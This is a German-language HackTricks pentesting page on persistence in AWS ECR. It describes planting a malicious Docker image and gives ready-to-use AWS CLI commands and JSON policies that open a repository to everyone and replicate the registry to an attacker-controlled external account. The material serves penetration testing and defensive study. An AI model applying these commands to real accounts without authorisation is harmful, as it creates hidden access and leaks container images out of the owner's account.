AWS - ECR Persistence

Unterstütze HackTricks

ECR

Für weitere Informationen siehe:

AWS - ECR Enum

Verstecktes Docker-Image mit bösartigem Code

Ein Angreifer könnte ein Docker-Image mit bösartigem Code in ein ECR-Repository hochladen und es verwenden, um Persistenz im Ziel-AWS-Konto aufrechtzuerhalten. Der Angreifer könnte dann das bösartige Image auf verschiedene Dienste innerhalb des Kontos, wie Amazon ECS oder EKS, auf eine unauffällige Weise bereitstellen.

Repository-Richtlinie

Füge eine Richtlinie zu einem einzelnen Repository hinzu, die dir (oder allen) Zugriff auf ein Repository gewährt:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Beachten Sie, dass ECR erfordert, dass Benutzer Berechtigung haben, um Aufrufe an die ecr:GetAuthorizationToken API über eine IAM-Richtlinie zu machen, bevor sie sich authentifizieren können, um ein Repository zu registrieren und Bilder von einem Amazon ECR-Repository zu pushen oder zu pullen.

Registry Policy & Cross-account Replication

Es ist möglich, ein Registry in einem externen Konto automatisch zu replizieren, indem man eine Cross-account Replikation konfiguriert, bei der man das externe Konto angeben muss, in dem man das Registry replizieren möchte.

Zuerst müssen Sie dem externen Konto Zugriff auf das Registry mit einer Registry-Richtlinie wie dieser gewähren:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Dann die Replikationskonfiguration anwenden:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Unterstütze HackTricks

Last updated